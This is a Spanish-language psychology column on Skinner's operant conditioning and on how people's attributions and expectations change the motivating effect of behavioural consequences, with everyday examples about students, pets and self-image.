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Inicio Columnas¿Ángeles caídos o antropoides erguidos? Cada quien habla de la feria según le va en ella: Las atribuciones sobre las consecuencias del comportamiento

Cada quien habla de la feria según le va en ella: Las atribuciones sobre las consecuencias del comportamiento

Por Dr. Luis Flórez Alarcón
LAS ATRIBUCIONES SOBRE LAS CONSECUENCIAS DEL COMPORTAMIENTO

Los comportamientos se aprenden gracias a su valor adaptativo; se conservan los que son útiles y se desechan los que resultan inútiles; el problema es que el valor adaptativo no lo tasamos siempre en función de las consecuencias objetivas del comportamiento, sino en función de lo que esperamos desde antes que suceda, es decir, guiándonos por atribuciones subjetivas pre-existentes que pueden distorsionar la realidad de lo acontecido, convirtiendo en útil lo que en realidad es inútil, o a la inversa. Es una costumbre muy difundida valerse sistemáticamente del manejo de las consecuencias para motivar a otros a repetir algunas acciones deseables, y a no repetir otras indeseables. Algunas veces se logra; en otras ocasiones el efecto obtenido es contrario al que se esperaba obtener. La presente nota está dedicada al análisis del papel que juegan las expectativas de tiempo pasado y de tiempo futuro para modular la función motivacional de las consecuencias del comportamiento, provocando que no siempre una consecuencia opere en la dirección esperada para controlar el comportamiento.

Sin duda, las consecuencias de un comportamiento operan para que un organismo (humano o no-humano) lo aprenda o lo desaprenda. La selección natural darwiniana no solo opera para la biología; también lo hace para el comportamiento. Ese es un planteamiento distintivo de la corriente teórica en psicología que se conoce como “conductismo”; en particular constituye la esencia del planteamiento conocido como “condicionamiento operante”. Su autor, el famoso psicólogo norteamericano B.F. Skinner (1904-1990), lo propuso en su teoría acerca de la denominada “triple relación de contingencia”. Esta teoría propone un ABC para entender el comportamiento: A (de antecedente), B (de comportamiento, o behavior en inglés); y C (de consecuencia que sigue al comportamiento). El planteamiento asume que la probabilidad de emisión de un comportamiento (elemento central en la triple relación de contingencia) depende de los estímulos que la anteceden (estímulos discriminativos, segundo elemento de la relación), y de los estímulos que la siguen (tercer elemento de la relación).

En el video a continuación, en el que se muestra a Skinner realizando un experimento típico de condicionamiento operante con una paloma, se ilustra este planteamiento: A es el antecedente (ejemplo cuando un bombillo de la cámara experimental está encendido); B es el comportamiento (que la paloma gire su cuerpo a la izquierda); y C es la consecuencia (reforzar el giro a la izquierda suministrándole a la paloma un grano de alimento).

El aprendizaje de algunos comportamientos en organismos no-humanos sigue bastante bien la secuencia explicativa representada por la triple relación de contingencia. Cualquiera que tenga una mascota (ej. un perrito) lo condiciona para que aprenda algo (ej. a “hacer sus necesidades”), cuando se encuentra frente a ciertas circunstancias (ej. cuando lo lleva a un determinado lugar), reforzándolo cuando lo hace en esas condiciones (ej. acariciándolo y hablándole en tono de aprobación), o castigándolo cuando lo hace en otras circunstancias (ej. hablándole fuerte en tono de regaño o haciéndole ruido con un papel periódico).

No obstante, la experiencia nos indica que no sucede lo mismo con el aprendizaje de todo comportamiento en organismos no-humanos, y mucho menos cuando se trata de organismos humanos. Los mecanismos explicativos del aprendizaje que operan en una persona son mucho más variados y complejos que las simples relaciones del aprendizaje asociativo entre estímulos antecedentes, comportamientos, y estímulos consecuentes.

Sería necio tratar de negar que los humanos somos susceptibles al condicionamiento, de la misma forma que los no-humanos. Algunos refranes apuntan a señalarlo con precisión: “El palo no está para cucharas” significa que en ciertas ocasiones (A) un comportamiento (B) resulta admisible y puede terminar reforzado (C), pero en otras ocasiones, no. Ese refrán alude con claridad al papel de los estímulos antecedentes de un comportamiento para anticipar cuál puede ser la consecuencia probable del comportamiento si llega a activarse, modificando de esta forma la probabilidad de que esa conducta se emita.

Algunos comportamientos complejos pueden aprenderse por condicionamiento operante. Si a una persona la muerde un perro es probable que aprenda a huir de los perros, pero también es posible que lo aprenda sin necesidad de haber sido mordida alguna vez, es decir, que lo aprenda por observación, lo cual implica la participación en el aprendizaje de mecanismos cognitivos diferentes a los propuestos por la triple relación de contingencia. Se puede concluir entonces que el condicionamiento operante es una de las formas válidas de aprendizaje asociativo que explican la adquisición de algunos comportamientos mediante la asociación de éstos con sus consecuencias, pero está distante de poder explicar todo el complejo comportamiento humano y no-humano.

Los organismos humanos, especialmente en razón de poseer un avanzado lenguaje, asimilamos el impacto de las consecuencias de nuestras acciones de una forma mediatizada por las expectativas que tenemos acerca de lo que puede suceder, echando mano de las creencias que construimos a partir de las experiencias pasadas y de las que utilizamos para predecir el futuro. Esas creencias son esquemas de pensamiento férreos y muy difíciles de modificar, por lo cual es más probable que se acuda a la distorsión de la realidad para explicar algún resultado contrario a lo esperado, que a la modificación de un esquema pre-existente. Un joven que se considera malo para las matemáticas acude más fácilmente a la idea de que “el examen estaba muy fácil” para explicar un buen resultado, que a admitir que él sí puede con las matemáticas si estudia esforzadamente. Una joven que se considera “fea” a sí misma prefiere acudir a todo tipo de distorsiones para explicar el interés que un chico manifiesta hacia ella, antes que aceptar la realidad de una cualidad que la hace atractiva.

Hablamos de la feria según nos va en ella, sí, pero no de una manera neutral, sino en función de las expectativas que teníamos previamente. Si nos va bien, como esperábamos que sucediera, tendemos a confirmar que teníamos la razón, y nos motivamos para volver a la siguiente feria. Igual, si nos va mal, como no-esperábamos que sucediera, también tendemos a confirmar que teníamos la razón y nos motivamos a no regresar a la feria, pues en ambos casos tratamos de explicarlo centrando la atención en las causas que anticipábamos para explicar el resultado, y no en la observación neutral de lo acontecido, lo cual podría conducirnos a conclusiones diferentes, pues las causas del resultado pueden ser distintas a las previstas.

Las apreciaciones que utilizamos para explicar el impacto que tienen las consecuencias de nuestros comportamientos reciben la denominación de atribuciones. Son las atribuciones, precisamente, las que marcan la relatividad de las consecuencias de un comportamiento al elaborarse en la fase de post-acción del ciclo motivacional, para operar en la siguiente ocasión en que se requiera ese comportamiento. De esas atribuciones puede depender que unas consecuencias se vuelvan muy destructivas para la persona, por ejemplo cuando el estudiante atribuye el mal resultado en el examen a la creencia de que “es bruto para esa materia y nunca podrá entenderla”, con consecuencias motivacionales muy negativas para el estudio de la materia en el futuro. Se trata de una atribución a factores internos (ser bruto) y estables (difíciles de modificar). Diferente sería el impacto de esa consecuencia si el estudiante concluyera que el mal resultado se debe a una falta de esfuerzo a la hora de estudiar, atribución referente a un factor externo (esfuerzo al estudiar) y modificable (se puede hacer más esfuerzo), con consecuencias motivacionales positivas para el estudio de la materia.

Las atribuciones constituyen esos factores cognitivos que modulan la asociación entre un comportamiento y sus consecuencias. Las atribuciones se manifiestan en el interjuego de las expectativas construidas a partir del pasado, con las cuales elaboramos las expectativas hacia el futuro. Las atribuciones pueden llevar a que una consecuencia reforzante pierda todo su valor motivacional, como cuando un niño, al recibir un juguete apreciado como consecuencia de haber aprobado un curso, concluye que vale la pena estudiar solamente si eso conduce a incentivos externos valiosos, y deja de hacerlo cuando esos incentivos no se encuentran presentes. O pueden llevar a que el reforzamiento fortalezca el valor intrínseco de una acción, como cuando hacer lo que más nos gusta a la vez nos sirve para obtener el sustento. Las atribuciones contribuyen a explicar por qué una consecuencia positiva refuerza, o por qué deja de hacerlo. O por qué una consecuencia negativa, como un castigo, puede operar en dirección completamente contraria a la esperada.

En síntesis, no se pretende afirmar en esta nota que las consecuencias del comportamiento no funcionan para explicar las acciones humanas. Se busca ampliar el marco explicativo, afirmando que las asociaciones entre el comportamiento y sus consecuencias funcionan para explicar el aprendizaje si se toman en consideración las atribuciones que utiliza la persona para evaluar dichas asociaciones. El monólogo socrático debe conducir a revaluar nuestras perspectivas de tiempo pasado y de tiempo futuro, para generar así nuevos esquemas o creencias que permitan evaluar las consecuencias de algún comportamiento de una manera más objetiva y ajustada a la realidad.

Si nos anclamos de forma inmodificable a las expectativas generadas en el pasado para explicar por qué nos va bien, o por qué nos va mal al hacer algo, simplemente caeremos en una forma básica de irracionalidad, consistente en buscar siempre pruebas a favor de lo que ya creemos. Y las vamos a encontrar si las buscamos con insistencia, repito, no porque esas pruebas existan, sino por una simple casualidad aportada por el azar de la realidad y, sobre todo, por las distorsiones que el pensamiento automático introduce sobre la realidad, casualidad que sistemáticamente hace que se cumpla lo que predice el refrán: “El que busca encuentra”.

 

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info

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